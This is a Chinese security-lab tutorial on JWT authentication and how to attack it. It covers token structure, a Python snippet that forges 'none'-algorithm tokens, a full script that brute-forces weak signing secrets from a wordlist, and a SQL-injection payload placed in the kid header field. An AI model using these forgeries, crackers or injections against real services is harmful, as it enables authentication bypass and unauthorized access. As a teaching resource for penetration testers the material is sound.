戟星安全实验室
本文约3452字,10图,阅读约需9分钟。
前言
项目中遇到的jwt鉴权方式越来越多。对这方面的攻击方式也只是简单了解。
JWT介绍
Json Web Token简称JWT,是一种基于json格式传输信息的token鉴权方式。目前应用较为广泛,Web登录认证以及ctf中经常出现。
什么时候使用JWT
这是使用 JWT 最常见的场景。用户登录后,每个后续请求都将包含 JWT,从而允许用户访问该令牌允许的路由、服务和资源。单点登录是当今广泛使用 JWT 的一项功能,因为它的开销很小并且能够在不同的域中轻松使用。
JSON Web 令牌是在各方之间安全传输信息的好方法。因为可以对 JWT 进行签名(例如,使用公钥/私钥对),所以您可以确定发件人就是他们所说的那个人。此外,由于使用标头和有效负载计算签名,您还可以验证内容没有被篡改。
JWT数据结构
jwt(Json Web Token)有三部分组成,中间以 “.” 号分割
header.payload.signature
其中 Header、payload以明文经base64url的编码方式存储
base64urlencode(header).base64urlencode(payload).signature
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6ImFkbWluIiwiYWN0aW9uIjoidXBsb2FkIn0.EztdefyICBh3doSxswyozx7y4B1v5hW6s3OXDLfkYTY
header通常由两部分组成:令牌的类型,即JWT,以及正在使用的签名算法,例如 HS256、RS256
例如:
{
"alg":"HS256",
"typ":"JWT"
}
这个json被以Base64Url编码的形式成为JWT的第一部分。
payload是令牌的第二部分,主要用来承载需要传递的数据,它的结构实际上是对jwt数据结构的一组声明,和附加数据的陈述。
声明分为三种类型:注册声明,公开声明,私人声明。
详见:https://jwt.io/introduction/
一个有效的pyalod
{
"sub": "1234567890",
"name": "John Doe",
"admin": true
}
要创建签名部分,必须获取编码的header,编码的payload,编码的密钥,header中指定的算法,并对其签名。
如果你想使用HS256算法,签名将通过以下方式创建:
HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)
secret保存在后端,是用来解析确定验证key使用,通常理解为密钥。
JWT攻击思路
首先找到需要JWT鉴权后才能访问的页面,如个人资料,文件上传,修改密码等,将该请求包重放测试。
空加密算法/禁用加密算法
条件:服务器端secret配置为none或者undefinde 利用node的jwt库已知缺陷:当jwt的secret为null或者undefined时,jwt会采用alg为none进行验证。
某些JWT的实现,一旦发现alg为none,将不再生成哈希签名。
在线生成工具会将alg为none视为恶意行为所以无法在线生成。
可以使用python的jwt库来实现
#! /bin/python3
import jwt
a=jwt.encode({'user':'admin','action':'upload'},algorithm='none',key='')
print(a)
输出结果
>> python3 jwt.py
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4iLCJhY3Rpb24iOiJ1cGxvYWQifQ.
# 可以看到用none算法生成的JWT只有两部分,签名都没有生成。
jwt解密
未授权访问
删除token后仍然可以访问相应的页面及功能。
敏感信息泄漏
条件:通过JWt.io解密出Payload后查看其中是否包含敏感信息,如弱加密的密码等
在线靶场:https://authlab.digi.ninja/Leaky_JWT
解密jwt看到password字段可能是md5 用cmd5解密得到 Password1
使用 joe/Password1 登录成功
爆破签名
条件:签名用的密钥不复杂(弱密钥)。
相关工具 https://github.com/brendan-rius/c-jwt-cracker
爆破的速度比较慢
参考大佬的爆破脚本
#! /bin/python3
from time import time
import jwt
import termcolor
import argparse
#
parser=argparse.ArgumentParser()
parser.add_argument('-t','--target')
parser.add_argument('-p','--path')
args=parser.parse_args()
jwt_str=args.target
print(jwt_str)
def boom_jwt(jwt_str):
with open('/Users/apple/tools/fuzz/user.txt') as f:
for line in f:
key_ = line.strip()
alg= ['HS256','RS256','PS256']
try:
jwt.decode(jwt_str,verify=True,key=key_,algorithms=alg)
print('\r','Success Key -->',termcolor.colored(key_,'green'),'<--')
break
except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError,
jwt.exceptions.InvalidIssuerError, jwt.exceptions.InvalidIssuedAtError,
jwt.exceptions.ImmatureSignatureError):
print('\r','Success Key -->',termcolor.colored(key_,'green'),'<--')
print(time())
break
except jwt.exceptions.InvalidSignatureError: #若因密钥错误导致检验失败,则key_为无效密钥。
print('\r','' * 64,'\r\btry',key_,end='',flush=True)
continue
else:
print('\r',termcolor.colored('sorry! no key be found.','red'))
if __name__=='__main__':
boom_jwt(jwt_str)
参考yangyang大佬文章:https://www.freebuf.com/vuls/211842.html
修改KID参数
条件:该参数可以由用户输入。
kid是jwt header中的一个可选参数,全称是key ID,它用于指定加密算法的密钥。
{
"alg":"Hs256",
"typ":"jwt",
"kid":"/home"
}
SQL注入
条件:kid从数据库中提取数据的时候,会造成sql注入。
通过构造SQL语句来获取数据或者是绕过signature的验证
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "key11111111' || UNION SELECT 'key';-- "
}
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,戟星安全实验室及文章作者不为此承担任何责任。
戟星安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经破军安全实验室允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
戟星安全实验室
# 长按二维码 关注我们 #